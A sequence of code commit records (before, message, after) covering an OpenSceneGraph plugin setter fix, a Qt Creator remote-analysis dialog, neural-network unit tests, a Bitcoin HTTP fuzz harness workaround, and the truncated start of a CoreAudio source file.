<commit_msg>From Pierre Haritchabalet, "In IO_FluidProgram.cpp, FluidProgram_readLocalData() function is wrong. When density parameter is read, the function "setFluidViscosity()" is called instead of "setFluidDensity()". This patch fixes osg plug'in FluidProgram_readLocalData. "<commit_after>
#include <osgParticle/FluidProgram>
#include <osgParticle/Operator>
#include <iostream>
#include <osg/Vec3>
#include <osg/io_utils>
#include <osgDB/Registry>
#include <osgDB/Input>
#include <osgDB/Output>
bool FluidProgram_readLocalData(osg::Object &obj, osgDB::Input &fr);
bool FluidProgram_writeLocalData(const osg::Object &obj, osgDB::Output &fw);
osgDB::RegisterDotOsgWrapperProxy FluidProgram_Proxy
(
new osgParticle::FluidProgram,
"FluidProgram",
"Object Node ParticleProcessor osgParticle::Program FluidProgram",
FluidProgram_readLocalData,
FluidProgram_writeLocalData
);
bool FluidProgram_readLocalData(osg::Object &obj, osgDB::Input &fr)
{
osgParticle::FluidProgram &myobj = static_cast<osgParticle::FluidProgram &>(obj);
bool itAdvanced = false;
osg::Vec3 vec;
float f;
if (fr[0].matchWord("acceleration")) {
if (fr[1].getFloat(vec.x()) && fr[2].getFloat(vec.y()) && fr[3].getFloat(vec.z())) {
myobj.setAcceleration(vec);
fr += 4;
itAdvanced = true;
}
}
if (fr[0].matchWord("viscosity")) {
if (fr[1].getFloat(f)) {
myobj.setFluidViscosity(f);
fr += 2;
itAdvanced = true;
}
}
if (fr[0].matchWord("density")) {
if (fr[1].getFloat(f)) {
myobj.setFluidDensity(f);
fr += 2;
itAdvanced = true;
}
}
if (fr[0].matchWord("wind")) {
if (fr[1].getFloat(vec.x()) && fr[2].getFloat(vec.y()) && fr[3].getFloat(vec.z())) {
myobj.setWind(vec);
fr += 4;
itAdvanced = true;
}
}
return itAdvanced;
}
bool FluidProgram_writeLocalData(const osg::Object &obj, osgDB::Output &fw)
{
const osgParticle::FluidProgram &myobj = static_cast<const osgParticle::FluidProgram &>(obj);
osg::Vec3 vec;
float f;
vec = myobj.getAcceleration();
fw.indent() << "acceleration " << vec << std::endl;
f = myobj.getFluidViscosity();
fw.indent() << "viscosity " << f << std::endl;
f = myobj.getFluidDensity();
fw.indent() << "density " << f << std::endl;
vec = myobj.getWind();
fw.indent() << "wind " << vec << std::endl;
return true;
}
<|endoftext|> |
<commit_before>/****************************************************************************
**
** Copyright (C) 2015 The Qt Company Ltd.
** Contact: http://www.qt.io/licensing
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms and
** conditions see http://www.qt.io/terms-conditions. For further information
** use the contact form at http://www.qt.io/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 or version 3 as published by the Free
** Software Foundation and appearing in the file LICENSE.LGPLv21 and
** LICENSE.LGPLv3 included in the packaging of this file. Please review the
** following information to ensure the GNU Lesser General Public License
** requirements will be met: https://www.gnu.org/licenses/lgpl.html and
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, The Qt Company gives you certain additional
** rights. These rights are described in The Qt Company LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
****************************************************************************/
#include "startremotedialog.h"
#include <coreplugin/icore.h>
#include <projectexplorer/kitchooser.h>
#include <projectexplorer/kitinformation.h>
#include <ssh/sshconnection.h>
#include <QDialogButtonBox>
#include <QFormLayout>
#include <QLineEdit>
#include <QPushButton>
using namespace ProjectExplorer;
using namespace Utils;
namespace Analyzer {
namespace Internal {
class StartRemoteDialogPrivate
{
public:
KitChooser *kitChooser;
QLineEdit *executable;
QLineEdit *arguments;
QLineEdit *workingDirectory;
QDialogButtonBox *buttonBox;
};
} // namespace Internal
StartRemoteDialog::StartRemoteDialog(QWidget *parent)
: QDialog(parent)
, d(new Internal::StartRemoteDialogPrivate)
{
setWindowFlags(windowFlags() & ~Qt::WindowContextHelpButtonHint);
setWindowTitle(tr("Start Remote Analysis"));
d->kitChooser = new KitChooser(this);
d->executable = new QLineEdit(this);
d->arguments = new QLineEdit(this);
d->workingDirectory = new QLineEdit(this);
d->buttonBox = new QDialogButtonBox(this);
d->buttonBox->setOrientation(Qt::Horizontal);
d->buttonBox->setStandardButtons(QDialogButtonBox::Cancel|QDialogButtonBox::Ok);
QFormLayout *formLayout = new QFormLayout;
formLayout->setFieldGrowthPolicy(QFormLayout::ExpandingFieldsGrow);
formLayout->addRow(tr("Kit:"), d->kitChooser);
formLayout->addRow(tr("Executable:"), d->executable);
formLayout->addRow(tr("Arguments:"), d->arguments);
formLayout->addRow(tr("Working directory:"), d->workingDirectory);
QVBoxLayout *verticalLayout = new QVBoxLayout(this);
verticalLayout->addLayout(formLayout);
verticalLayout->addWidget(d->buttonBox);
QSettings *settings = Core::ICore::settings();
settings->beginGroup(QLatin1String("AnalyzerStartRemoteDialog"));
d->kitChooser->populate();
d->kitChooser->setCurrentKitId(Core::Id::fromSetting(settings->value(QLatin1String("profile"))));
d->executable->setText(settings->value(QLatin1String("executable")).toString());
d->workingDirectory->setText(settings->value(QLatin1String("workingDirectory")).toString());
d->arguments->setText(settings->value(QLatin1String("arguments")).toString());
settings->endGroup();
connect(d->kitChooser, &KitChooser::activated, this, &StartRemoteDialog::validate);
connect(d->executable, &QLineEdit::textChanged, this, &StartRemoteDialog::validate);
connect(d->workingDirectory, &QLineEdit::textChanged, this, &StartRemoteDialog::validate);
connect(d->arguments, &QLineEdit::textChanged, this, &StartRemoteDialog::validate);
connect(d->buttonBox, &QDialogButtonBox::accepted, this, &StartRemoteDialog::accept);
connect(d->buttonBox, &QDialogButtonBox::rejected, this, &StartRemoteDialog::reject);
validate();
}
StartRemoteDialog::~StartRemoteDialog()
{
delete d;
}
void StartRemoteDialog::accept()
{
QSettings *settings = Core::ICore::settings();
settings->beginGroup(QLatin1String("AnalyzerStartRemoteDialog"));
settings->setValue(QLatin1String("profile"), d->kitChooser->currentKitId().toString());
settings->setValue(QLatin1String("executable"), d->executable->text());
settings->setValue(QLatin1String("workingDirectory"), d->workingDirectory->text());
settings->setValue(QLatin1String("arguments"), d->arguments->text());
settings->endGroup();
QDialog::accept();
}
void StartRemoteDialog::validate()
{
bool valid = !d->executable->text().isEmpty();
d->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(valid);
}
QSsh::SshConnectionParameters StartRemoteDialog::sshParams() const
{
Kit *kit = d->kitChooser->currentKit();
IDevice::ConstPtr device = DeviceKitInformation::device(kit);
return device->sshParameters();
}
QString StartRemoteDialog::executable() const
{
return d->executable->text();
}
QString StartRemoteDialog::arguments() const
{
return d->arguments->text();
}
QString StartRemoteDialog::workingDirectory() const
{
return d->workingDirectory->text();
}
} // namespace Analyzer
<commit_msg>Analyzer: Don't offer non-supported kits in StartRemoteDialog.<commit_after>/****************************************************************************
**
** Copyright (C) 2015 The Qt Company Ltd.
** Contact: http://www.qt.io/licensing
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms and
** conditions see http://www.qt.io/terms-conditions. For further information
** use the contact form at http://www.qt.io/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 or version 3 as published by the Free
** Software Foundation and appearing in the file LICENSE.LGPLv21 and
** LICENSE.LGPLv3 included in the packaging of this file. Please review the
** following information to ensure the GNU Lesser General Public License
** requirements will be met: https://www.gnu.org/licenses/lgpl.html and
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, The Qt Company gives you certain additional
** rights. These rights are described in The Qt Company LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
****************************************************************************/
#include "startremotedialog.h"
#include <coreplugin/icore.h>
#include <projectexplorer/kitchooser.h>
#include <projectexplorer/kitinformation.h>
#include <ssh/sshconnection.h>
#include <QDialogButtonBox>
#include <QFormLayout>
#include <QLineEdit>
#include <QPushButton>
using namespace ProjectExplorer;
using namespace Utils;
namespace Analyzer {
namespace Internal {
class SshKitChooser : public KitChooser
{
public:
SshKitChooser(QWidget *parent = 0) : KitChooser(parent) { }
private:
bool kitMatches(const Kit *kit) const {
if (!KitChooser::kitMatches(kit))
return false;
const IDevice::ConstPtr device = DeviceKitInformation::device(kit);
return device && !device->sshParameters().host.isEmpty();
}
};
class StartRemoteDialogPrivate
{
public:
SshKitChooser *kitChooser;
QLineEdit *executable;
QLineEdit *arguments;
QLineEdit *workingDirectory;
QDialogButtonBox *buttonBox;
};
} // namespace Internal
StartRemoteDialog::StartRemoteDialog(QWidget *parent)
: QDialog(parent)
, d(new Internal::StartRemoteDialogPrivate)
{
setWindowFlags(windowFlags() & ~Qt::WindowContextHelpButtonHint);
setWindowTitle(tr("Start Remote Analysis"));
d->kitChooser = new Internal::SshKitChooser(this);
d->executable = new QLineEdit(this);
d->arguments = new QLineEdit(this);
d->workingDirectory = new QLineEdit(this);
d->buttonBox = new QDialogButtonBox(this);
d->buttonBox->setOrientation(Qt::Horizontal);
d->buttonBox->setStandardButtons(QDialogButtonBox::Cancel|QDialogButtonBox::Ok);
QFormLayout *formLayout = new QFormLayout;
formLayout->setFieldGrowthPolicy(QFormLayout::ExpandingFieldsGrow);
formLayout->addRow(tr("Kit:"), d->kitChooser);
formLayout->addRow(tr("Executable:"), d->executable);
formLayout->addRow(tr("Arguments:"), d->arguments);
formLayout->addRow(tr("Working directory:"), d->workingDirectory);
QVBoxLayout *verticalLayout = new QVBoxLayout(this);
verticalLayout->addLayout(formLayout);
verticalLayout->addWidget(d->buttonBox);
QSettings *settings = Core::ICore::settings();
settings->beginGroup(QLatin1String("AnalyzerStartRemoteDialog"));
d->kitChooser->populate();
d->kitChooser->setCurrentKitId(Core::Id::fromSetting(settings->value(QLatin1String("profile"))));
d->executable->setText(settings->value(QLatin1String("executable")).toString());
d->workingDirectory->setText(settings->value(QLatin1String("workingDirectory")).toString());
d->arguments->setText(settings->value(QLatin1String("arguments")).toString());
settings->endGroup();
connect(d->kitChooser, &KitChooser::activated, this, &StartRemoteDialog::validate);
connect(d->executable, &QLineEdit::textChanged, this, &StartRemoteDialog::validate);
connect(d->workingDirectory, &QLineEdit::textChanged, this, &StartRemoteDialog::validate);
connect(d->arguments, &QLineEdit::textChanged, this, &StartRemoteDialog::validate);
connect(d->buttonBox, &QDialogButtonBox::accepted, this, &StartRemoteDialog::accept);
connect(d->buttonBox, &QDialogButtonBox::rejected, this, &StartRemoteDialog::reject);
validate();
}
StartRemoteDialog::~StartRemoteDialog()
{
delete d;
}
void StartRemoteDialog::accept()
{
QSettings *settings = Core::ICore::settings();
settings->beginGroup(QLatin1String("AnalyzerStartRemoteDialog"));
settings->setValue(QLatin1String("profile"), d->kitChooser->currentKitId().toString());
settings->setValue(QLatin1String("executable"), d->executable->text());
settings->setValue(QLatin1String("workingDirectory"), d->workingDirectory->text());
settings->setValue(QLatin1String("arguments"), d->arguments->text());
settings->endGroup();
QDialog::accept();
}
void StartRemoteDialog::validate()
{
bool valid = !d->executable->text().isEmpty();
d->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(valid);
}
QSsh::SshConnectionParameters StartRemoteDialog::sshParams() const
{
Kit *kit = d->kitChooser->currentKit();
IDevice::ConstPtr device = DeviceKitInformation::device(kit);
return device->sshParameters();
}
QString StartRemoteDialog::executable() const
{
return d->executable->text();
}
QString StartRemoteDialog::arguments() const
{
return d->arguments->text();
}
QString StartRemoteDialog::workingDirectory() const
{
return d->workingDirectory->text();
}
} // namespace Analyzer
<|endoftext|> |
<commit_before>
#include <Eigen/Dense>
#include <vector>
#include "TestsCatchRequire.h"
#include "../core/NeuralNetwork.h"
TEST_CASE("NeuralNetwork can be initialised", "[NeuralNetwork]") {
// create a basic layout 2 inputs, 2 nodes in the 1st layer 1 in the 2nd
int nodes[3] = { 2, 2, 1};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
SECTION("Creating a network with valid parameters") {
REQUIRE_NOTHROW(NeuralNetwork(layout, "step"));
}
SECTION("Creating a network with sigmoid function") {
REQUIRE_NOTHROW(NeuralNetwork(layout, "sigmoid"));
}
SECTION("Creating a network with invalid function") {
REQUIRE_THROWS(NeuralNetwork(layout, "somefunc"));
}
SECTION("Creating a network without a random seed") {
REQUIRE_NOTHROW(NeuralNetwork(layout, "step", false));
}
}
TEST_CASE("Testing NeuralNetwork feedForward", "[NeuralNetwork]") {
SECTION("Check feedForward with valid parameters") {
int nodes[3] = { 3, 2, 1};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "step", false);
Eigen::MatrixXd input(1, 3);
input << 1, 1, 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.value() == 0);
}
SECTION("Check feedForward with multiple outputs") {
int nodes[3] = { 3, 2, 2};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(1, 3);
input << 1, 1, 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output(0, 0) == Approx(0.276810));
REQUIRE(output(1, 0) == Approx(0.757047));
}
SECTION("Check feedForward single perceptron") {
int nodes[2] = { 2, 1};
std::vector<int> layout(&nodes[0], &nodes[0]+2);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(1, 2);
input << 1, 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.value() == Approx(0.16148));
}
SECTION("Check feedForward with multiple inputs", "[NeuralNetwork]") {
int nodes[3] = { 2, 2, 1 };
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(4, 2);
input << 1, 1,
0, 1,
1, 0,
0, 0;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.size() == 4);
Eigen::MatrixXd expectedResult(1, 4);
expectedResult << 0.36363, 0.323174, 0.350235, 0.30499;
REQUIRE(output.size() == expectedResult.size());
for (int i=0; i < output.cols(); ++i) {
for (int j=0; j < output.rows(); ++j) {
REQUIRE(output(j, i) == Approx(expectedResult(j, i)));
}
}
}
}
TEST_CASE("Testing NeuralNetwork backPropagate", "[NeuralNetwork]") {
// create a basic layout 2 inputs, 2 nodes in the 1st layer 1 in the 2nd
SECTION("Check backprop with normal input", "[NeuralNetwork]") {
int nodes[3] = { 3, 2, 1};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(1, 3);
input << 1, 1, 1;
Eigen::VectorXd actual(1);
actual << 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.size() == 1);
REQUIRE(output.value() == Approx(0.27681));
REQUIRE_NOTHROW(ann.backPropagate(output, actual));
}
SECTION("Check backprop with two outputs", "[NeuralNetwork]") {
int nodes[3] = { 3, 2, 2};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(1, 3);
input << 1, 1, 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.cols() == 1);
REQUIRE(output.rows() == 2);
REQUIRE(output(0, 0) == Approx(0.276810));
REQUIRE(output(1, 0) == Approx(0.757047));
Eigen::MatrixXd actual(2, 1);
actual << 1, 1;
REQUIRE_NOTHROW(ann.backPropagate(output, actual));
}
}
TEST_CASE("Testing NeuralNetwork multiple inputs", "[NeuralNetwork]") {
int nodes[3] = { 3, 3, 1 };
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(4, 3);
input << 1, 1, 1,
1, 1, 0,
1, 0, 1,
1, 0, 0;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.cols() == 4);
REQUIRE(output.rows() == 1);
Eigen::MatrixXd expectedResult(1, 4);
expectedResult << 0.39573, 0.64993, 0.29571, 0.48559;
REQUIRE(output.cols() == expectedResult.cols());
REQUIRE(output.rows() == expectedResult.rows());
for (int i=0; i < output.cols(); ++i) {
for (int j=0; j < output.rows(); ++j) {
REQUIRE(output(j, i) == Approx(expectedResult(j, i)));
}
}
Eigen::MatrixXd actual(1, 4);
actual << 0, 1, 1, 0;
REQUIRE_NOTHROW(ann.backPropagate(output, actual));
}
TEST_CASE("Testing NeuralNetwork training", "[NeuralNetwork]") {
int nodes[3] = { 3, 3, 1 };
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(4, 3);
input << 1, 1, 1,
1, 1, 0,
1, 0, 1,
1, 0, 0;
Eigen::MatrixXd actual(1, 4);
actual << 0, 1, 1, 0;
REQUIRE_NOTHROW(ann.train(input, actual, 5000, 0.1));
Eigen::MatrixXd example(1, 3);
example << 1, 0, 0;
Eigen::MatrixXd output = ann.feedForward(example);
REQUIRE(output.value() == Approx(0.064165));
}
<commit_msg>Refs #6 Fix broken test<commit_after>
#include <Eigen/Dense>
#include <vector>
#include "TestsCatchRequire.h"
#include "../core/NeuralNetwork.h"
TEST_CASE("NeuralNetwork can be initialised", "[NeuralNetwork]") {
// create a basic layout 2 inputs, 2 nodes in the 1st layer 1 in the 2nd
int nodes[3] = { 2, 2, 1};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
SECTION("Creating a network with valid parameters") {
REQUIRE_NOTHROW(NeuralNetwork(layout, "step"));
}
SECTION("Creating a network with sigmoid function") {
REQUIRE_NOTHROW(NeuralNetwork(layout, "sigmoid"));
}
SECTION("Creating a network with invalid function") {
REQUIRE_THROWS(NeuralNetwork(layout, "somefunc"));
}
SECTION("Creating a network without a random seed") {
REQUIRE_NOTHROW(NeuralNetwork(layout, "step", false));
}
}
TEST_CASE("Testing NeuralNetwork feedForward", "[NeuralNetwork]") {
SECTION("Check feedForward with valid parameters") {
int nodes[3] = { 3, 2, 1};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "step", false);
Eigen::MatrixXd input(1, 3);
input << 1, 1, 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.value() == 0);
}
SECTION("Check feedForward with multiple outputs") {
int nodes[3] = { 3, 2, 2};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(1, 3);
input << 1, 1, 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output(0, 0) == Approx(0.276810));
REQUIRE(output(1, 0) == Approx(0.757047));
}
SECTION("Check feedForward single perceptron") {
int nodes[2] = { 2, 1};
std::vector<int> layout(&nodes[0], &nodes[0]+2);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(1, 2);
input << 1, 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.value() == Approx(0.16148));
}
SECTION("Check feedForward with multiple inputs", "[NeuralNetwork]") {
int nodes[3] = { 2, 2, 1 };
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(4, 2);
input << 1, 1,
0, 1,
1, 0,
0, 0;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.size() == 4);
Eigen::MatrixXd expectedResult(1, 4);
expectedResult << 0.36363, 0.323174, 0.350235, 0.30499;
REQUIRE(output.size() == expectedResult.size());
for (int i=0; i < output.cols(); ++i) {
for (int j=0; j < output.rows(); ++j) {
REQUIRE(output(j, i) == Approx(expectedResult(j, i)));
}
}
}
}
TEST_CASE("Testing NeuralNetwork backPropagate", "[NeuralNetwork]") {
// create a basic layout 2 inputs, 2 nodes in the 1st layer 1 in the 2nd
SECTION("Check backprop with normal input", "[NeuralNetwork]") {
int nodes[3] = { 3, 2, 1};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(1, 3);
input << 1, 1, 1;
Eigen::VectorXd actual(1);
actual << 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.size() == 1);
REQUIRE(output.value() == Approx(0.27681));
REQUIRE_NOTHROW(ann.backPropagate(output, actual));
}
SECTION("Check backprop with two outputs", "[NeuralNetwork]") {
int nodes[3] = { 3, 2, 2};
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(1, 3);
input << 1, 1, 1;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.cols() == 1);
REQUIRE(output.rows() == 2);
REQUIRE(output(0, 0) == Approx(0.276810));
REQUIRE(output(1, 0) == Approx(0.757047));
Eigen::MatrixXd actual(2, 1);
actual << 1, 1;
REQUIRE_NOTHROW(ann.backPropagate(output, actual));
}
}
TEST_CASE("Testing NeuralNetwork multiple inputs", "[NeuralNetwork]") {
int nodes[3] = { 3, 3, 1 };
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(4, 3);
input << 1, 1, 1,
1, 1, 0,
1, 0, 1,
1, 0, 0;
Eigen::MatrixXd output = ann.feedForward(input);
REQUIRE(output.cols() == 4);
REQUIRE(output.rows() == 1);
Eigen::MatrixXd expectedResult(1, 4);
expectedResult << 0.39573, 0.64993, 0.29571, 0.48559;
REQUIRE(output.cols() == expectedResult.cols());
REQUIRE(output.rows() == expectedResult.rows());
for (int i=0; i < output.cols(); ++i) {
for (int j=0; j < output.rows(); ++j) {
REQUIRE(output(j, i) == Approx(expectedResult(j, i)));
}
}
Eigen::MatrixXd actual(1, 4);
actual << 0, 1, 1, 0;
REQUIRE_NOTHROW(ann.backPropagate(output, actual));
}
TEST_CASE("Testing NeuralNetwork training", "[NeuralNetwork]") {
int nodes[3] = { 3, 3, 1 };
std::vector<int> layout(&nodes[0], &nodes[0]+3);
NeuralNetwork ann(layout, "sigmoid", false);
Eigen::MatrixXd input(4, 3);
input << 1, 1, 1,
1, 1, 0,
1, 0, 1,
1, 0, 0;
Eigen::MatrixXd actual(1, 4);
actual << 0, 1, 1, 0;
REQUIRE_NOTHROW(ann.train(input, actual, 5000, 1));
Eigen::MatrixXd example(1, 3);
example << 1, 0, 0;
Eigen::MatrixXd output = ann.feedForward(example);
REQUIRE(output.value() == Approx(0.0328009245));
}
<|endoftext|> |
<commit_before>// Copyright (c) 2020 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <httpserver.h>
#include <netaddress.h>
#include <test/fuzz/FuzzedDataProvider.h>
#include <test/fuzz/fuzz.h>
#include <test/fuzz/util.h>
#include <event2/buffer.h>
#include <event2/event.h>
#include <event2/http.h>
#include <event2/http_struct.h>
#include <cassert>
#include <cstdint>
#include <string>
#include <vector>
// workaround for libevent versions before 2.1.1,
// when internal functions didn't have underscores at the end
#if LIBEVENT_VERSION_NUMBER < 0x02010100
extern "C" int evhttp_parse_firstline(struct evhttp_request *,
struct evbuffer *);
extern "C" int evhttp_parse_headers(struct evhttp_request *, struct evbuffer *);
inline int evhttp_parse_firstline_(struct evhttp_request *r,
struct evbuffer *b) {
return evhttp_parse_firstline(r, b);
}
inline int evhttp_parse_headers_(struct evhttp_request *r, struct evbuffer *b) {
return evhttp_parse_headers(r, b);
}
#else
extern "C" int evhttp_parse_firstline_(struct evhttp_request *,
struct evbuffer *);
extern "C" int evhttp_parse_headers_(struct evhttp_request *,
struct evbuffer *);
#endif
std::string RequestMethodString(HTTPRequest::RequestMethod m);
void test_one_input(const std::vector<uint8_t> &buffer) {
FuzzedDataProvider fuzzed_data_provider{buffer.data(), buffer.size()};
evhttp_request *evreq = evhttp_request_new(nullptr, nullptr);
assert(evreq != nullptr);
evreq->kind = EVHTTP_REQUEST;
evbuffer *evbuf = evbuffer_new();
assert(evbuf != nullptr);
const std::vector<uint8_t> http_buffer =
ConsumeRandomLengthByteVector(fuzzed_data_provider, 4096);
evbuffer_add(evbuf, http_buffer.data(), http_buffer.size());
if (evhttp_parse_firstline_(evreq, evbuf) != 1 ||
evhttp_parse_headers_(evreq, evbuf) != 1) {
evbuffer_free(evbuf);
evhttp_request_free(evreq);
return;
}
HTTPRequest http_request{evreq, true};
const HTTPRequest::RequestMethod request_method =
http_request.GetRequestMethod();
(void)RequestMethodString(request_method);
(void)http_request.GetURI();
(void)http_request.GetHeader("Host");
const std::string header =
fuzzed_data_provider.ConsumeRandomLengthString(16);
(void)http_request.GetHeader(header);
(void)http_request.WriteHeader(
header, fuzzed_data_provider.ConsumeRandomLengthString(16));
(void)http_request.GetHeader(header);
const std::string body = http_request.ReadBody();
assert(body.empty());
const CService service = http_request.GetPeer();
assert(service.ToString() == "[::]:0");
evbuffer_free(evbuf);
evhttp_request_free(evreq);
}
<commit_msg>tests: Avoid fuzzer-specific nullptr dereference in libevent when handling PROXY requests<commit_after>// Copyright (c) 2020 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <httpserver.h>
#include <netaddress.h>
#include <util/strencodings.h>
#include <test/fuzz/FuzzedDataProvider.h>
#include <test/fuzz/fuzz.h>
#include <test/fuzz/util.h>
#include <event2/buffer.h>
#include <event2/event.h>
#include <event2/http.h>
#include <event2/http_struct.h>
#include <cassert>
#include <cstdint>
#include <string>
#include <vector>
// workaround for libevent versions before 2.1.1,
// when internal functions didn't have underscores at the end
#if LIBEVENT_VERSION_NUMBER < 0x02010100
extern "C" int evhttp_parse_firstline(struct evhttp_request *,
struct evbuffer *);
extern "C" int evhttp_parse_headers(struct evhttp_request *, struct evbuffer *);
inline int evhttp_parse_firstline_(struct evhttp_request *r,
struct evbuffer *b) {
return evhttp_parse_firstline(r, b);
}
inline int evhttp_parse_headers_(struct evhttp_request *r, struct evbuffer *b) {
return evhttp_parse_headers(r, b);
}
#else
extern "C" int evhttp_parse_firstline_(struct evhttp_request *,
struct evbuffer *);
extern "C" int evhttp_parse_headers_(struct evhttp_request *,
struct evbuffer *);
#endif
std::string RequestMethodString(HTTPRequest::RequestMethod m);
void test_one_input(const std::vector<uint8_t> &buffer) {
FuzzedDataProvider fuzzed_data_provider{buffer.data(), buffer.size()};
evhttp_request *evreq = evhttp_request_new(nullptr, nullptr);
assert(evreq != nullptr);
evreq->kind = EVHTTP_REQUEST;
evbuffer *evbuf = evbuffer_new();
assert(evbuf != nullptr);
const std::vector<uint8_t> http_buffer =
ConsumeRandomLengthByteVector(fuzzed_data_provider, 4096);
evbuffer_add(evbuf, http_buffer.data(), http_buffer.size());
// Avoid constructing requests that will be interpreted by libevent as PROXY
// requests to avoid triggering a nullptr dereference. The dereference
// (req->evcon->http_server) takes place in evhttp_parse_request_line and is
// a consequence of our hacky but necessary use of the internal function
// evhttp_parse_firstline_ in this fuzzing harness. The workaround is not
// aesthetically pleasing, but it successfully avoids the troublesome code
// path. " http:// HTTP/1.1\n" was a crashing input prior to this
// workaround.
const std::string http_buffer_str =
ToLower({http_buffer.begin(), http_buffer.end()});
if (http_buffer_str.find(" http://") != std::string::npos ||
http_buffer_str.find(" https://") != std::string::npos ||
evhttp_parse_firstline_(evreq, evbuf) != 1 ||
evhttp_parse_headers_(evreq, evbuf) != 1) {
evbuffer_free(evbuf);
evhttp_request_free(evreq);
return;
}
HTTPRequest http_request{evreq, true};
const HTTPRequest::RequestMethod request_method =
http_request.GetRequestMethod();
(void)RequestMethodString(request_method);
(void)http_request.GetURI();
(void)http_request.GetHeader("Host");
const std::string header =
fuzzed_data_provider.ConsumeRandomLengthString(16);
(void)http_request.GetHeader(header);
(void)http_request.WriteHeader(
header, fuzzed_data_provider.ConsumeRandomLengthString(16));
(void)http_request.GetHeader(header);
const std::string body = http_request.ReadBody();
assert(body.empty());
const CService service = http_request.GetPeer();
assert(service.ToString() == "[::]:0");
evbuffer_free(evbuf);
evhttp_request_free(evreq);
}
<|endoftext|> |
<commit_before>// Copyright (c) 2015, Matthew Malensek.
// Distributed under the BSD 2-Clause License (see LICENSE.txt for details)
#include "CoreAudio.h"
#include <math.h>
#include <stdlib.h>
#include "../../Logger.h"
#include "Functiondiscoverykeys_devpkey.h"
#include "VolumeTransformation.h"
// {EC9CB649-7E84-4B42-B367-7FC39BE17806}
static const GUID G3RVXCoreAudioEvent = { 0xec9cb649, 0x7e84, 0x4b42,
{ 0xb3, 0x67, 0x7f, 0xc3, 0x9b, 0xe1, 0x78, 0x6 } };
HRESULT CoreAudio::Init() {
HRESULT hr;
hr = CoCreateInstance(
__uuidof(MMDeviceEnumerator),
nullptr,
CLSCTX_INPROC_SERVER,
IID_PPV_ARGS(&_devEnumerator));
if (SUCCEEDED(hr)) {
hr = _devEnumerator->RegisterEndpointNotificationCallback(this);
if (SUCCEEDED(hr)) {
hr = AttachDevice();
}
}
return hr;
}
HRESULT CoreAudio::Init(std::wstring deviceId) {
_devId = deviceId;
return Init();
}
void CoreAudio::Dispose() {
DetachDevice();
_devEnumerator->UnregisterEndpointNotificationCallback(this);
}
HRESULT CoreAudio::AttachDevice() {
HRESULT hr;
if (_devId.empty()) {
/* Use default device */
hr = _devEnumerator->GetDefaultAudioEndpoint(eRender,
eMultimedia, &_device);
if (SUCCEEDED(hr)) {
LPWSTR id = nullptr;
hr = _device->GetId(&id);
if (SUCCEEDED(hr) && id) {
_devId = std::wstring(id);
CoTaskMemFree(id);
}
}
} else {
